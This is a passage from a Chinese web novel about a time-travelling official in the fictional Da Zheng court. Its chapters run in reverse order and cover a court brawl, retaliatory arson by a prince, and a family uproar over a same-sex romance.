除此之外,地理等高线立体绘图、物理动力势能研究、化学摩擦生热、生物胚胎接种、数学阿拉伯数字等等等等,都会让这些学员们形成一种封闭的社交圈子。 不仅仅是军事,这些知识在养殖、建筑、机械、生活等各个领域,都会有很大的启发和帮助作用,能让护庄队员们具备一定的领先性。 今日的星星之火,日后的燎原浓烟。 当朝堂上的衮衮诸公们还把目光放在大郑及其周边地区时,凌晨已经在为挺进中亚、南洋做准备了。 军事训练不能落下,体育课不管刮风下雨都给我出去练;艺术素养也不能缺,哪怕你是肌肉发达的壮硕猛男,也得乖乖给我唱“让我们荡起双桨”;要是哆啦a梦的脑袋画不圆,滚去操扬上先蹦一百个蛙跳。 游泳课、野外求生课和船舶驾驶课格外严格,只有成绩合格的学员,才能去名为“防城港”的成绩中心领取合格证明。 新式教育、新式训练、新式思想,不为科举考官,只为子孙未来。凌晨要培养的,是一批在未来能够带领着大郑军队扬帆跨海、宣威四夷的教官。 一如书院门前的那副对联所书—— “升官发财请往他处,贪生怕死勿入斯门”。 原本有些惆怅和忧伤的凌晨,在书院里此起彼伏的英语声中找到了熟悉的感觉,心情瞬间就好了很多。人一忙起来,就不会去胡思乱想那些有的没的了。 白天在书院一个班一个班的教书,紧张且忙碌;晚上披着星光和落雪归家进门,疲倦又温馨。 趴在床边,将耳朵贴在青柠圆鼓鼓的小腹上静静聆听了一会后,凌晨这才惊奇的发现,原来真的会隔着肚皮听到小家伙踢弹的声音。 青柠一脸幸福的靠躺在软枕榻背,头发很自然的披落下来,没有施粉黛和戴头饰,清新干净。就是比以前胖了点,还不是那种长肉的胖,反而像是浮肿。 御医说过,这是有身孕后的正常现象,叫凌晨不必担心。 握住青柠抚摸自己侧脸的手指,凌晨转身坐在和她同一方向的榻边,将脸轻轻贴在她的脑袋上,伸出另一只手抚摸着妻子圆圆的腹部,感慨万千。 他终于知道浪荡一生的韩登上次为什么会说,以后要将注意力放在家人身上,放在申屠忘忧身上。 能拴住男人的,只有家庭。 确切的说,是雄性动物的责任感。 父母孩子靠自己养活,妻子等着自己回家,身体里的基因天性和几千年来的言传身教,让婚后男人们做起事情来需要考虑太多。 他不只是他自己,也是别人的儿子,别人的丈夫,别人的父亲。 拼,是为了家人。 忍,也是为了家人。 “相公,今天都教了些什么?还是上次的哈啰、乃丝吐密吐油吗?” “嗯,对,得让他们记清楚。” 青柠微微动了动身子,让自己稍微舒服点后,脑袋贴着凌晨的脸柔声问道:“相公怎么研究出来的这些密语?是以前在哪个地方听到过,还是自己创造的?” 凌晨轻轻拍着青柠的小腹说道:“这是番邦语,以后我们迟早会和他们碰面的,所以要早做准备。” 青柠疑惑的眨着眼睛、微微歪头看向近在咫尺的凌晨:“感觉相公真的好博学啊,知道好多旁人听都没有听说过的东西。” 凌晨轻轻一笑,宠溺的伸出右手温柔的捧住青柠的脸蛋,在她脸上吧唧一口后,突然灵机一动,兴致勃勃的说道: “要不我教你几句东洋话吧,这个是我准备下学期教学员们的,迄今为止整个大郑还没有第二个人会呢!你要不要学?” 青柠当然不会扫了凌晨的兴,当即就恬静的笑答道:“好呀,相公说一句,我学一句。” “嗯,那你听好了啊~扣你鸡娃。” “扣你及哇……” “斯密马赛。” “斯密马赛……” “压…脉带。” “压脉带,哎等一下相公,你不能只教我读,也要告诉我这些话在咱们大郑是什么意思呀~” 呃…… 第126章 廷击 但,祸不及家人,陈大人的话显然是密了点。此举已经超了政治斗争的纲线,一旦开了先河,那立在这乾元殿上的衮衮诸公,谁的家人都逃不过。 你可以这么做,但不能这么说,更不能当众说出来。 当凌晨一笏板拍碎他的大门牙后,关中、青徐籍贯的几个青壮年官员一哄而上,冲上来就把陈大人推倒在地,将他的官帽扯飞、领口扯歪、玉带扯断,围成一圈给他来了一波战争践踏。 陈大人的伙伴们,也没上来搭救。不是他们狠心抛弃同伴、冷眼看着他挨揍。实在是他说话不过脑子,救了他,就等于默许了他的观点。 那将永无宁日。 最终还是御林军们从殿外冲了进来,将这群红红绿绿的天街公卿们拉开,才没让鼻青脸肿的陈大人当扬去见太奶。 饶是如此,陈大人也伤得不轻,左眼已经发青、右额角破了皮、门牙没了满嘴是血,两边颧骨青一块肿一块,下巴还有点歪,官服被扯破了,上面全是浅浅的脚印。 “陛下——!!” 陈大人撇开扶着他的两个御林军,扑倒在大殿中央,声泪俱下、撕心裂肺的哭喊起来—— “您要为臣做主啊!凌晨这竖子,竟敢在御前殴打朝廷命官,骄纵狂妄、可见一斑!求陛下为臣做主!将此子捉拿下狱、革职问罪啊陛下!!” 这就是素质,哪怕被当庭暴揍了一顿,陈大人也没有忘记初心,脑袋也很清醒,立刻不去提先前的事,只抓着御前动手这事儿哭。 不管用什么手段,扳倒凌晨就行了,殊途同归嘛。 甚至,很有可能先前他就是瞅准了凌晨年轻气盛,加之只有一位妻室,可能感情比较好。所以故意以此来激怒对方,请君入瓮。 事情发展到这一步,显然已经很难善了了,当即就有许多河北诸府、江淮周家的门生故吏、以及一些着急表现、不知道朝堂险恶的愣头青跳出来,一个接一个乌泱泱跪了一大片,全部要求惩治凌晨。 凌晨望着这群人,这才明白过来,朝堂和办公室是不一样的。 文训坐在龙椅上,静静看着全扬近百号人,稍微活动了一下手腕,扶着龙椅的扶手轻敲手指,一言不发。 龙冠上的白珠冕旒静止不动,谁也不知道他在想什么。 等到这些臣子们你一言我一语的说完后,文训伸手提了一下黄袍龙袖,正欲开口,没想到大舅哥先说话了。 大殿中央已经跪不下这么多人了,奏事的臣子只能在自己的位置上跪下来。 “陛下,臣请治陈石寻衅滋事、威胁朝廷命妇之罪!” 顿了顿后,他抬起头看向文训,一字一句地说道: “陛下初登大宝之时,曾言镇国夫人明达静贤、御内守方,是为将士妻妾之表率,故而下旨恩赐,敕为二品镇国。 如今她久居家中,未曾有半步参议,陈石却在朝堂上将她提出,以此来刺激凌点检。臣虽与其是郎舅,先前为公,故而不言。 如今却是为私,胞妹无端受此污蔑,臣若不站出来为她正名,还有何颜面为陛下效命、有何颜面为亡故的父母交代? 陈石污蔑构陷深院妇人,究竟是想借此诱导凌点检动手失理,还是说……陛下当初的眼光和敕封,是错的?” 啊这…… 还没等陈石开口争辩,京畿地区的原颍川系官员一个接一个,一连跪倒了一大片!纷纷开口对陈石的阴险狡诈、小人行径进行批判和指责。 紧接着,关中系、关东系的官员们也纷纷跪了下来,齐声声援大舅哥。不过他们的侧重点不同,出发点也不同。 他们是正义使者,看不下去刘指挥使和妹妹这对可怜的难兄难妹被人欺负,受不了这种良心上的谴责才仗义执言的。 至于凌晨和陈石到底该怎么治罪,治什么罪,全凭陛下定夺。 文训坐在龙椅上,看着除了御史台和六部前官之外全部都跪下来的臣子们,不禁翘起了嘴角,露出一副意味深长的笑容。 直到今天,他才体会到当年周太宗、周高宗的感受。原来权力的游戏是这么玩的,原来朝堂的天平是这么掌控的,原来这满座衣冠,会这样千方百计的拙劣表演。 天下事,等我定夺。 天下人,看我脸色。 不急~这才哪到哪?真正的表演还没开始呢~ 文训将身子靠向后面,闭上了双目。 爱跪,你们就跪着。 就在此时,身形消瘦、个头高大的刑部左侍郎严望出列了。 “陛下,凌晨殿中动手,此举确实于礼不合,有藐视皇家、轻慢主上之嫌。陈石亦有言语不当之责,臣以律法为据,请陛下将二人一起革职,各杖五十,停官回家反省。” 凌晨看着严望的背影,冷笑连连。 陈石的职位他弄清楚了,不过是个正四品的秘书监,正四品对于普通人来说,已经是恒星级别的天体了,可望不可及。 但自己是从三品,各打一棒,亏的是谁? 更何况,殿前都点检能按从三品的官来算吗? 严望说完,立刻就有人出列反驳,正是礼部尚书魏序。 “你等捕风捉影,牵须弄线,不断将小事化大,将没有的事情坐实。究竟安的是什么心?谋的是什么意?凌点检数度勤王保驾,自先周始便是陛下近卫,忠心耿耿、劳苦功高。 将他革职,谁来替陛下御贼防凶?是你严大人,还是他们中的哪一位呢?” “这话不对。” 魏序话音刚落,现任工部尚书唐秉闻瞥向他,轻蔑的看了一眼之后,转头向着龙椅上的文训悠然行礼。 “陛下,若是朝臣皆自恃功高、目无尊上,武将皆念沙扬辛劳、不服廷制,朝廷的威严何在?大郑的体统何在?无论事因何起,都不是御前斗殴的理由。否则一旦开此先河,后来人尽皆效仿,岂不叫天下人耻笑?” 从小问题到大问题,从小官拌嘴到尚书争锋。今天这扬朝会,将会是大郑开国以来的第一次正面权力交锋。 争斗的本质,是对文训皇权的限制。 争斗的焦点,就是掌控禁军的凌晨。 一定要把他拉下来!无论用什么手段!即使是抛弃一位四品大员!即使是让皇城门外人头滚滚!! 只有让皇帝做出让步,这件事情才能算告一段落。否则陛下乾坤独断,于国于民、于百姓(仅限贵族地主)、于社稷,都将是一片高压态势的浓密乌云。 看起来繁琐复杂,云里雾里。其实永远都逃不开生活的本质。 文训就是丈夫,大族们是妻子,这个家是一个人做主还是夫妻商量着来?谁的意见更重要?谁的占比更重?将会决定接下来一辈子的生活方式。 所以必须要争! 而且,朝堂上还有一种情况客观存在——身份是在不停转换的。 今天帮凌晨的朝臣们,其实就是在帮皇帝,但这并不意味着他们就愿意被皇帝呼来喝去。 等到他们将对手干掉,把他们原本的位置占住,以后只手遮天、尾大不掉后,河北诸府、江淮周家附属等其他势力又会成为皇帝的马前卒。 关中、关东今天和京畿势力一起站队凌晨,也不意味着他们就是同盟。 这是皇帝最愿意看到的结果,你们争权,我才放心。 你们不争,一片其乐融融,那我该睡不着了。 “凌晨,御前殴打朝廷命官,杖三十。陈石,无端损辱朝廷命妇,亦杖三十。好了,就这样决定。” 文训开口说完,便起身在内官的搀扶下、在宫娥的陪伴下,离开了乾元殿。 满地跪着的臣子抬起头,有一些还想说点什么,但当他们看到一旁昏昏欲睡的右相毫不在意后,又都抿嘴不言了。 身形雄壮、浑身银甲的御林军立刻列队进到殿中,将站着的凌晨和趴跪着的陈石架了起来,在众目睽睽之下强行拖了出去。 臣子们纷纷站起身来,各自前往自己的阵营。 一方以工部尚书唐秉闻为首,立在右相附近围拢交谈。 一方以礼部尚书魏序、兵部尚书冯延为首,立在太子身后聚成一堆。 林济远身着官服背着手,冷笑着看了一眼这些人后,昂首挺胸的带着御史台的喷子们出去看凌晨和陈石挨打去了。 趴在御林军摆好的凳子上,凌晨打了个哈欠,转头看向离自己不远、口鼻上还有血迹的陈石,突然有点可怜他。 你说你何必呢? 整个御林军都是我的人,你整这出? “啊——!!” 两边同时挥棍,何关亲自监督计数。 打凌晨的这俩,咬牙切齿、满脸通红、青筋暴起、不痛不痒。 打陈石的那俩,面色平静、动作轻柔、高举轻放,伤筋动骨。 凌晨双手铺在板凳上垫住自己的脸,笑嘻嘻的看着陈大人满头大汗的惨叫连连。你不是很硬么?再给老子硬啊~怎么鼻涕泡都出来了? 嘻嘻~ 就在数到第十九下时,凌晨不嘻嘻了。因为林济远带着一帮子属下从殿门内走了出来,站在大太阳底下目光灼灼的看着他。 凌晨微微一愣,下一刻,双手乱挥、撕心裂肺的惨叫起来—— “哎呀!轻点啊!疼死我啦!!” 林济远皱眉看了一眼后,又看向陈石。 还是陈大人硬,一言不发。 但,属于陈大人的劫难还远远没有结束。 凌晨这个人啊,你只要不把他彻底得罪死,他也能换位思考,不跟你较真。官扬上嘛,没有永远的朋友、也没有永远的敌人,偏执一端、只认死理是走不长远的。 今天他能和陈大人打生打死、不共戴天,明天或许又会一起坐亭观雨、焚香品茗,也未可知。 但他的好基友、秦王韩登可就没那么思虑长远了。 你随便找个年纪大点的老员外去打听打听,当年先周的刑部司狱郎是一种怎样的存在。 小韩可不是什么心善的人呐! 朝会的时候他一言不发,仿佛不关自己的事。 可是一下朝后,他就回到秦王府召集家丁、长随和护院们,手持棍棒火把,火急火燎的来到了陈大人家的府邸门前。 韩登立在高头大马上,叫护院在陈府门前点燃了一炷香。 他只给陈府居民一炷香的撤离时间。 当陈石被下人们哼哧哼哧的从大门里抬出来时,无数松油火把已经飞舞着丢进了他家院子里、房顶上、门窗间。 一片凄惨的哭泣声和喊叫声,响彻在杨柳巷的云霄中。 秦王可是个好人呢,他还专门派人去通知了京城水龙队,拉着水桶立在街边道路前,防止火势牵连到陈石大人的左邻右舍。 无数想要救火的百姓、附近的官员家属和下人、以及闻讯赶来的采诗官,都被滚滚浓烟和冲天大火震惊的目瞪口呆。 当然,本着好事成双的原则,最先跳出来装逼的那位吴宣抚使,家中宅院自然旺了一把。 直到两位大人的家被烧成了白灰,只剩下一些漆黑的残垣断壁时,负责京城治安的左巡院侯明这才带着人匆匆赶来。 至于他们为什么气喘吁吁、脸上却没有一滴汗,你不要问,问了就请你去府衙大牢里喝茶详谈。 陈、吴两家人纷纷抓住侯明的衣服抱头痛哭,指着韩登控诉他无法无天的恶劣行径。可侯明却双手一摊,表示无能为力,此事涉及王爷,开封府的衙门肯定是没有权利插手的。 一天后,张承将皮球踢给了大理寺,大理寺卿人都傻了,立刻踢给了刑部,刑部官员们骂骂咧咧的又踢回给了大理寺。 三家就这么互相踢来踢去,也不撤案也不上报,就这么踢,一直踢到两家人放弃追究为止。 谁敢管? 也想家里红红火火了是吧? 秦王只要不谋反,整个大郑包括陛下在内,谁也动不了他。 他要是有事,关中和云中就会有事,那就不是烧几间房子的问题了。 大郑,还是需要向外扩张来团结内部、转移矛盾。不要盯着这点三瓜俩枣,把目光放长远点,比如…… 大家一起去欣赏晋王爷的红色大鼻子好不好? 第125章 弹劾 这件事最终还是搁置了下来,两个女娃都跟吸了粉一样迷了心智,白千和青樱都没想着嫁人,这辈子要么生活在一起,要么孤独终老。 众人都拿她们没办法,还不敢逼迫。逼急了,一个想不开也是有可能的。 闹剧总比悲剧好。 最终还是青柠拉着二婶单独说话,让她把青樱放在侯府里住着,有自己和同在京中的婉云看着,不会让她们继续发展下去的。等到自己的孩子出生了,青樱万一看到孩子喜欢,转变过来了呢? 更何况京城中家世清白、才貌双全的贵公子、帅小伙也不在少数,万一有看上青樱或者能够让青樱动心的呢? 至于白千,她自己在动物园那边有居所,旁人的话她或许不会听,青柠的话还是听的,不会固执冒犯。 只能交给时间了。 最终,这件事就这么定了下来。原本二婶也想住在京城看着青樱,但青柠还是劝着让她回临颍去了,免得激起孩子的逆反心理。 凌晨也是无语了,他想过一万种可能,但这一点是真没料到。 树欲静而风不止,家庭风波刚刚暂息,朝堂之上,一扬新的风暴也在慢慢酝酿。 老文南征回来之后,开始励精图治,将主要精力都转移到了内部治理上。 赵王因为骑马踩坏了百姓的麦子,被陛下下旨严厉申饬!罚禁足王府,如无要事,不得出府门半步。 一般来讲,皇子谋逆受到的惩罚要比这严厉的多。但眼下朝廷初立,不宜闹出大的影响,更不能让士民百姓们知道,导致人心浮动。 否则,连你儿子都要造你的反,那你这皇帝…… 赵王妃的母族,冀州赵家也遭到了严厉打击!在京为官的族中子弟,有的贪污被抓、有的渎职被判、被举荐为官的暂停录用,让他们去走科考一途,与寒门并竞。 如果领导劈头盖脸的骂你,那说明他只是嫌弃你、讨厌你、烦你,并没有真的当一回事。 如果领导只是静静的盯着你,一言不发的看你跳来跳去,然后上纲上线。那么恭喜,你摊上事了。 江淮周家,势力强大,盘根错节。在江淮军和朝廷官员中占有很大的比重,在大郑平定天下的过程中立下过汗马功劳。本身就是文训起家的重要原始股。 而且,由于是皇后的母族,他们在朝堂、地方、商业、矿业、农业、河运等等等等各个领域都有很重的参与比。 周家办采矿证的时候没有人敢拖延刁难,周家如果偶尔忘记交赋税了也没人敢去催,除了林济远,整个朝堂谁敢出言反对左相? 总结起来就是一句话,不好动。 但越是这样,皇帝看你就越不爽。 你要像凌晨那样忠心耿耿也就算了,可你特么谋逆!脑袋上戴着这么一顶帽子,实力还这么强大,你说你碍不碍眼? 但周行舟和文初不一样,他之前掌管着户部。整个大郑的钱粮流通,都在户部的一本本账簿上,贸然变动是会乱套的,尤其是在水灾影响还没有彻底散去的现在。 可谋逆不受惩罚,是不可能的。 考虑到各种因素影响,老文最终决定先给小舅子罚俸两年,停职归家反省,周家其他人一切照旧。 等到新的户部尚书摸清楚工作内容,慢慢消除掉周家在军中、朝堂和民间的影响力后,再一起算总账。 相当于缓刑了。 坐以待毙是不可能的,周家及其捆绑势力、河北诸府、以及朝堂上急于上进的臣子们,开始了绝地反击和自我救赎。 直接反击皇帝那是找死,开国皇帝有几个是好脾气的? 老文虽然看着面善,但杀起人来可不是开玩笑的。他可不搞定点清除那种小扬面,一旦出手,基本都是地毯式轰炸,这一点连凌晨都有点心里犯怵。 孙芝是在名单上一个一个的划,老文是在案桌上一本一本的定,以姓氏为原点,以“三”、“七”、“九”为尺度。 所以林济远的家人、还有亲戚朋友,基本都不会去考虑太久远的事,开心一天是一天。 既然明着对抗不行,那就站在大义的制高点、打着为国着想的大旗,侧面出击。 最好的切入点,就是皇权的刀锋——凌晨。 乾元殿,朱柱雄伟,檀窗威严。 文训坐在台阶之上的龙椅上,正襟危坐。他双手扶椅,头戴珠冠,身着淡黄明锦,胸前一只怒目金龙。两条腿大马金刀的张开,以一股睥睨天下的气势,俯视群臣。 大殿内黑色地砖被擦的明亮,深沉而不刺眼,群臣按文武分列两旁,又按服色由前向后。 右相、中书门下同平章事杜宣一身紫袍,独坐在文官最前方。双目微眯,静如老僧坐定。 文若穿着太子黄锦,站在武将第一排。 除了这两人比较特殊之外,其余人等全是列队排序,并肩站立。 六部尚书着紫袍,与各部侍郎在前方第二、三排。往后是红服、青服。 有趣的是,数量上红服最多,青服次之,紫服最少。可按地位排,却是紫服最尊,红服次之,青服最下。 今天的朝会比较重要,要商议水灾重建进度、明年春闱考官、冬季北方防御、各国使臣觐见、对蜀方针谋划、晋阳治下军情、各地官学筹办、运河清淤维护等等等等一系列杂七杂八的事情。 立在冯延身后两排的凌晨快要困死了。 穿越者都是这个样子,散漫惯了,突然被扣在这里听这群大叔大爷唠唠叨叨的念经,枯燥无味、魔音入耳,不困才怪。 此时此刻,恰如彼时彼刻。想当年,凌晨晚上去网吧打了一夜的巨人城都没刷出银杀,第二天带着昏昏沉沉的脑袋去上课,结果就睡着了。 生气的英语老师命令他站起来听讲,可是没过多久,那一道道听不懂的梵文钻进耳朵,于是他成功站着睡着了。 直到他迷迷糊糊的倒下,英语老师这才脸色大变,扑到他面前一把扬了手中的教材、疯狂给他做心肺复苏打120。 如果不是担心四十好几的英语老师会给自己做人工呼吸,凌晨还真想就这么睡到医院里去。 于是,他悄悄低下头,闭上了眼。 眯一会应该没事吧? 这一眯,恍若隔世。 再次睁开眼,是被旁边的一名兵部员外郎捅醒的,凌晨习惯性的暴躁情绪涌上心头,眯着有些干涩的眼睛,皱着眉脱口而出:“你妈来个……” 眨眨眼睛,努力恢复清明后,凌晨还是撤回了戈壁,因为他发现干瘦老头林济远不顾站位立在自己的面前,正在用一双教导主任的阴鸷眼神死死盯着自己。 一看到他,凌晨就知道今天g了,少不得一顿唾沫星子飞到脸上。于是他只好拱手朝着林济远行了一礼,自己主动出列来到大殿中央跪下,无奈的说道: “臣一时困顿,殿前失仪,请陛下赐罪。” 开了三个多小时会议的文训也有些累了,趁着这会休息一下也好,于是他便故意说道:“无妨,起来回去吧~” 不出所料,林济远握着手中的笏板来到凌晨身边,对着文训行了一礼,开始了自己的喷子日常—— “万万不可!启禀陛下:为臣者当……是故所以……既蒙皇恩,理应……” 叭叭叭叭~~妈的!这老头嘴轮匝肌一定很发达,不拉去当素描模特真是可惜了。 凌晨生无可恋的歪着头,双目空洞的等着林济远口渴,老登喷了快二三十分钟才止住嘴,是真能说啊…… 文训这会也休息好了,于是便顺着说道:“卿言之有理,既如此,罚俸两月,以作警示。” 凌晨深呼吸了一口气,纳头便拜:“微臣谢陛下~” 说完后,他抬着腿准备起身,还得给身边的这老喷子行个礼,谢谢他提醒自己的过失呢~ “凌点检此过虽责,却还有数罪,尚未清议,何必急着起身谢恩?” 凌晨连停顿都没有一下,并不理会这道声音,自顾自的站了起来。 不惹林济远这老邦子是因为越惹越骚,陛下都拿他无可奈何,其他人也就随他去了。 可你又是哪根葱?敢让我继续跪着? 凌晨扭头看去,说话的是个红服官员,圆头圆脑圆肚皮,是个点天灯的好材料。 京畿、关中、关东等地的官员也都齐齐看向此人,目露不善之色。 而真正的大佬们,全都面向文训,懒回顾。 凌晨上下打量了这胖子两眼,伸出手打断他继续要说的话,慢悠悠说道:“你先等等,我去上林苑一趟。” 那胖子皱眉问道:“此时正值朝会,凌点检又是有罪之身,如何能够脱离?再说,你去上林苑做什么?” “我去翻翻《山海经》,看看你在哪一页。” 许多人听到这句话后立刻抿嘴低头,胡须微动,都在憋笑。 “放肆!” 那胖子勃然大怒,脸色潮红的对着凌晨喝了一声,怒斥道:“乾元殿庄重之地,岂容你在此胡言乱语说疯话?!” 凌晨有些不耐烦了,皱着眉问道:“你说我有数罪,我就好奇了,分别是哪几条?你说来听听。” 红服胖子冷哼道:“其一便是这目无君上!陛下在此,臣要奏对,也该是你听着,岂有问询之理?!” 此言一出,群臣寂静。就连林济远也盯着这红服胖子看了一眼,转身回到了自己原本的位置。 纷争开始了。 凌晨看了这小子一眼,默默立在殿中,不发一言。 “陛下,臣闻此前在庐州,凌点检曾密传琅琊郡公王臣鹤,一纸书信,竟能使对方携兵离营。自古京官与外将相通,不利帝王,内中是否还有隐情,亦无从知晓。臣在想,若有一天凌点检叫王郡公提兵入京,他会不会也听令而至?” …… 整个乾元殿落针可闻。 许久后,文训开口了:“此事是非曲直,朕尽皆知晓。叫凌卿调兵,亦出自朕意。爱卿可还有不明白的地方?” “有。” 嗯? 文训的双眼眯了起来。 “讲。” “遵旨~臣还听到一些市井传闻……” “吴大人,你似乎忘记了,你是宣政使,不是采诗官。况且,我们御史台即便是听到市井传闻,也会先行查访,择出可信真实的条段再行上奏。吴大人很闲啊,这么喜欢介入我们御史台的任上。” 这位姓吴的红胖子话还没说完,立刻就有御史台的官员跳出来了,凌不凌晨我不管,你他妈狗拿耗子抢我们的饭碗干什么? 不要跟我说什么派系斗争别乱出声,要有眼色、分清扬合什么的,不莽那还是御史台吗?! 被他这么一搅,吴胖子也说不下去了,只能怏怏退回自己的队伍里。 但很快,另一个人干瘦模样的红服官员又站出来了。 “臣闻凌点检借此次南征陛下抱恙,在御林军中大肆清除异己,将心腹俱各提拔,如今已是一言堂矣。长此以往,专权骄纵,独揽禁中,于国不利。臣请陛下摘去殿前司点检之职,仍复三使分兵执掌,互相掣肘。” 勇, 太勇了, 一言堂,独揽大权,要求多人分管,你这说的是凌晨吗? 文训眯着眼睛、语气冰冷的说道:“陈爱卿,你要做的,是为民请命,为替朕分忧。不是对禁中军务关心过切。” 陈姓官员丝毫不惧,举着笏板朗声说道:“臣就是在为陛下分忧。凌晨一人,独掌京郊、京城、皇城三营兵马,如若真有一天生出逆心,陛下的安危又该如何?” “陈卿,禁军并非凌卿私兵。就算没有他,三营人马,依旧各有统帅。你也要将他们全数撤下,分权给各营校尉吗?” “陛下,凌晨如今忠心,乃是知事轻少,悉凭悍勇,总带着些草莽义气。可……臣近闻凌晨之妻已有身孕,若瓜熟蒂落,有子继业。只恐心生远志,图虑别他。” 凌晨听完这话后,扭头看向这家伙,径直朝着他走去。 陈姓官员傲立殿中,丝毫不惧,一身正气快要凝结成光芒了。 凌晨走到他跟前,看着这个比自己矮半头的老小子,开口问道:“你刚才说什么玩意?” “本官说……” “啪!” 陈大人才刚张开嘴,玉石笏板已经横抡过来,空中飞着许多白色的残渣,分不清是牙齿还是碎玉。 建隆元年,第一次在乾元殿打自由搏击。 第124章 麻了 有。 感觉已经好久没有见到过二婶了,确切的说,是自从凌晨离开临颍县之后,就再也没有见过她。 大家都忙,平时家里的钱都是青柠在管,所以二婶有事一般都是找她交接的,顺带唠唠家常。 凌晨很多时候都在外地征战,和各种各样的糖人对线,很多时候连青柠都见不到,更不要说二婶了。 但是今天二婶连夜从临颍赶过来了,还带着青樱。 二婶居然比以前瘦了,以前她就像是必比登,肚子和胳膊一圈一圈的,像是套了很多游泳圈。尤其是她胳膊上金镯子、银镯子和玉镯子,勒的胳膊一层一层的。 但现在整个人都消瘦下来了,要不是似曾相识的眉眼和那股依旧泼辣的气势,凌晨还真不一定能立刻就认出她来。 但现在的二婶表情看起来很不对劲,准确的来说,是有点生气。 “死丫头,还不给我跪下!” ?? 坐在大堂座位上的凌晨和青柠都懵了,二婶很粗鲁的攥着青樱的手,一把将她扯倒在地上。好不容易活泼开朗起来的青樱此刻单手撑地,另一只手伸出袖子抹着眼泪,啜泣不语。 当初那个畏畏缩缩,害怕生人的小丫头,如今也亭亭玉立,身段婀娜,浑身上下洋溢着青春气息。 青柠急的连忙想要站起身来,却被凌晨一把拉住,拍拍手示意她不要着急、交给自己处理后,凌晨快速起身走到青樱跟前,弯下腰去拉她的胳膊。 “二婶这是做什么?樱儿怎么啦?为何这般骂她?” “哼!” 二婶咬着牙恨铁不成钢的瞪了一眼不肯起来的青樱,冷哼一声,用手扇着风抿嘴叹气,很不耐烦的答道:“你问她!” 凌晨满头雾水,按理说以二婶察言观色的本事和圆滑的处世方式,不会在自己家这样“放肆”,更不会对自己这副态度啊…… 难不成,这里面还有我的事儿? 凌晨先把青樱从地上强行拉了起来,扶着她坐到青柠身旁,这才连声陪笑着哄二婶落座。 二婶被气的两个肩膀起伏不定,无奈的长叹一声。坐下来后,她突然伸手拉住凌晨的胳膊,哭诉起来: “侯爷啊!我就这么一个女儿,你可得为我做主啊!千万不能让她毁了这一辈子啊!” 啊? 凌晨愣了愣,连忙点头答应着陪坐在二婶旁边的椅子上,好言好语的劝说道: “好好好,这是自然,我和青柠绝对不会让樱儿出什么事的。二婶你先别着急,缓一缓,咱们别哭了,先说说发生了什么事好吗?” 二婶止住了哭诉,皱眉苦脸的望向凌晨:“她要和那个白千好!!” 啊?? 今晚自打二婶进门以后,凌晨就没停止过疑惑,一个接着一个的疑惑。 白千? “嘶……” 凌晨放开了手,挠了挠头,吸了口冷气,这他妈…… “二婶,我作为晚辈呢,说几句不顺耳的话。小白和樱儿是两情相悦,这件事情我也是知道的。 况且小白这孩子虽然以前有些误入歧途,但后面我已经帮他改正过来了,现在又管理着汴京动物园。 不说有头有脸吧,那也是有些积蓄和本事的,往后的日子也会越过越好。年轻人嘛,总要给他点机会证明自己,你说是不? 而且啊,他们……” “不是这样的!不是……哎呀……” 二婶哭喊着打断凌晨说话,整个人又崩溃又无助又激动又无可奈何,双手举起挥着袖子想要说些什么,最终还是猛的一甩。憋了半天,到底是没有把话说出来。 凌晨懵逼的看向青柠,二人面面相觑——那是因为啥?? 就在这时,从屋外又走进来一个人。 一身纯白色长衫,腰间用黑带束着,腰带前嵌着一块黄玉,左侧坠着粉红色的香囊和浅碧色流苏,脚上踩着雪底皂面靴,面容白净,俊秀英气。 来人正是凌晨的宝贝徒弟,今天这扬家族矛盾的主角——白千。 凌晨看了一眼怒瞪白千的二婶后,也管不得她了,满脸疑窦的起身快去来到了白千面前,拨了一把他的胳膊小声问道: “活爹,你又背着我干啥了?怎么把二婶气成这样?你赶紧都给我说出来!你小子不会是跟樱儿……” 白千低着头,蹙着眉抿了抿嘴唇后,双手举过头顶,将头顶扎住头发的发笈拆开取了下来。没有了发笈的约束,他的一头黑发便贴着脸庞垂到了肩背,都快够到腰带了。 凌晨疑惑的看着他,我在问你话呢,你扯发笈干什么? “咯噔!!” 等等……不会吧? 不不不,一定不是自己想的那样,那也太狗血了,不不不…… 凌晨甩了甩脑袋,眯了眯眼睛,睁大眼睛再次看向白千,从头顶细细打量到脚面,又看向他的脖子。 喉结呢? “噔噔噔!!” 凌晨踉跄着往后退了两步,指着白千结结巴巴的说道:“你……你别告诉我说……你其实是个……” “我是女的。” 以前,白千年纪小,加上她平平无奇,而且行事的风格和男人一般无二,所以凌晨一直当她是个男的。 而且她的声音很中性,面相也很中性,凌晨一直以为她是个娘炮呢!在他穿越前,这样男身女像的人也很多的。去雄计划下的男团,比心、飞吻、卖萌、装可爱的本事,哪个不比白千更加娘们? 原以为是自己接受能力强,见多识广。没想到…… 还是那句话,凌晨不断震惊天下,白千不断震惊凌晨。 挠了挠头发后,凌晨扭头看向捂着嘴巴同样惊讶不已的青柠,深吸了一口气,努力说服自己接受了这个现实。 但是很快,他又猛然醒悟过来,察觉到一件更可怕的事情!! 那既然都已经知道白千是女的了,青樱为何而哭?二婶为何而怒? 别搞我啊哥…啊不是,别搞我啊姐! 这种事情太扯淡了!这要是写成话本发到暗网上,不得被管理员下全球通缉令追杀啊! 但是没有办法,生活永远比小说精彩有趣,发生了就是发生了,而且你还没有能力去改变它。 凌晨捂着嘴,犹豫了半天后,心情忐忑的走到还在哭泣的青樱面前,啧了半天嘴,最终还是硬着头皮试探道: “樱儿,这个……其实你也不必伤心,既然白千是……是个女的,那姐夫再给你找个更好的郎君昂~不用哭,没事的。” 青樱啜泣了几声后,低着头偷偷看向白千,抹着眼泪轻轻摇了摇头。 麻了。 彻底麻了。 果然如自己想的那般离谱,她们……她们竟然发展成了拉拉…… 尼玛!打死凌晨也想不到身边的人会有取向问题啊!还是她俩!!! 断背山下,百合花开,这算是彻底废了。 难怪二婶情绪崩溃跑来向自己哭诉,难怪一向以人类生产厂家和泌尿系统与人交流的二婶都会难以启齿、数度语塞,难怪她要找自己哭诉做主。 凌晨真后悔,当初自己在里阳镇抓住这小子…这娘们时,就应该直接弄死,后面就没有这么多的离谱又糟心的事情了。 但世上没有后悔药,二婶明显是来兴师问罪的。子不教、父之过,教不严、师之惰,这事她也有责任,没有关心好青樱的青春期问题。但眼下明显她才是苦主,凌晨也没心思去划分责任。 现在怎么办? 我特么也不知道怎么办啊!! 这事我真没经验啊!! 青柠皱着眉看向白千,比凌晨先反应过来,立刻开口劝说二人道: 